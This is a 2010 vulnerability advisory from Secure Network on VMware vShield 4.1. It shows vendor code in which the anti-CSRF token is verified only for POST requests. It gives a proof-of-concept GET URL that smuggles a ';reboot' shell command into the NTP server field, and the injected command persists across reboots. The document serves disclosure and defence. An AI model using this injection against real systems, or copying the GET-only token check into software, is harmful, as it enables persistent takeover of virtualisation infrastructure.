Security Research Advisory

VMWare vShield

Remote Command Execution via CSRF

Table of Contents

SUMMARY 3

VULNERABILITY DETAILS 3

TECHNICAL DETAILS 4

LEGAL NOTICES 6

<table>
<tr><td colspan="4">Remote Command Execution</td><td>Advisory Number</td></tr>
<tr><td colspan="4"></td><td>SN-10-08</td></tr>
<tr><td>Severity</td><td>Software</td><td>Version(s)</td><td>Accessibility</td><td>CVE</td><td>Author(s)</td></tr>
<tr><td rowspan="3">M</td><td>vShield</td><td>4.1</td><td>Remote</td><td>-</td><td rowspan="3">Claudio Criscione</td></tr>
<tr><td colspan="2">Vendor URL</td><td colspan="2">Advisory URL</td></tr>
<tr><td colspan="2">http://www.vmware.com</td><td colspan="2">-</td></tr>
</table>

Date	Details
10/11/2010	Vendor disclosure
n./d.	Vendor acknowledgment
n./d.	Patch release
n./d.	Public disclosure

Summary

From vendor official documentation: “For organizations that want to leverage the benefits of cloud computing without sacrificing security, control or compliance, the VMware vShield family of security solutions provides comprehensive protection for virtual datacenters and cloud environments. vShield enables customers to strengthen application and data security, improve visibility and control, and accelerate IT compliance efforts across the organization.”

VMware vShield version 4.1, and maybe others, is vulnerable to Remote Command Execution which can be triggered via Cross-Site Request Forgery attacks.

Vulnerability Details

Remote code execution can be achieved on VMware vShield through CSRF, bypassing the CSRF filter. The vulnerability can be triggered simply by visiting a malicious web page while the administrator is logged on the vShield web console.

The remote code execution is persistent: the command gets re-executed at every reboot and configuration refresh.

The described issue was identified on vShield 4.1 but we cannot exclude other versions are vulnerable.

Technical Details

Description

vShield actively protects the user from such attacks by a token based anti-CSRF system. Token generation is accomplished as follows in the UserContext class.

UserContextClass:

```
    private void generateAuthToken()
    {
        SecureRandom random = new SecureRandom();
        authTokenKey = (new StringBuilder()).append("t").append((new
    BigInteger(16, random)).toString()).toString();
        authTokenValue = (new BigInteger(132, random)).toString();
    }
```

However, as can be seen in the following code snippet, verification of the token is only performed in the case of POST requests.

verifyFormToken():

```
    private ActionForward verifyFormToken(UserContext userContext,
    HttpServletRequest request, ActionMapping mapping)
    {
        if(RequestUtils.isPost(request))
        {
            String tokenKey = userContext.getAuthTokenKey();
            String tokenValue = request.getParameter(tokenKey);
            if(!userContext.isValidToken(tokenKey, tokenValue))
            {
                log.error(getClass().getName(), "*** Failed CSRF
    Validation ***", (new
    StringBuilder()).append(RequestUtils.getRequestUrl(request).toString
    ()).append("\n\n\n\n").toString());
                return mapping.findForward("formViolation");
            }
        }
        return null;
    }
```

As a result, by submitting the attack as a GET request, the CSRF mechanism can be bypassed. The attack itself is a trivial shell escape; however, since the full string is written in a configuration file, the command (or commands) will be executed every time the system boots or the configuration is refreshed. Execution is not immediate though, since it is performed on refresh.

The following URL will trigger the vulnerability, executing a reboot.

PoC URL:

```
/options.do?operation=updateDateTimeOptions&vfc=true&date1=2010-11-
08+07%3A41%3A32&ntpServer=8.8.8.8;reboot&timeZone=GMT
```

Legal Notices

Secure Network (www.securenetwork.it) is an information security company, which provides consulting and training services, and engages in security research and development.

We are committed to open, full disclosure of vulnerabilities, cooperating with software developers for properly handling disclosure issues.

The information in the advisory is believed to be accurate at the time of publishing based on currently available information. This information is provided as-is, as a free service to the community by Secure Network research staff. There are no warranties with regard to this information. Secure Network does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.

If you have any comments or inquiries, or any issue with what is reported in this advisory, please inform us as soon as possible.

e-mail	info@securenetwork.it
phone	+39 02 917 730 41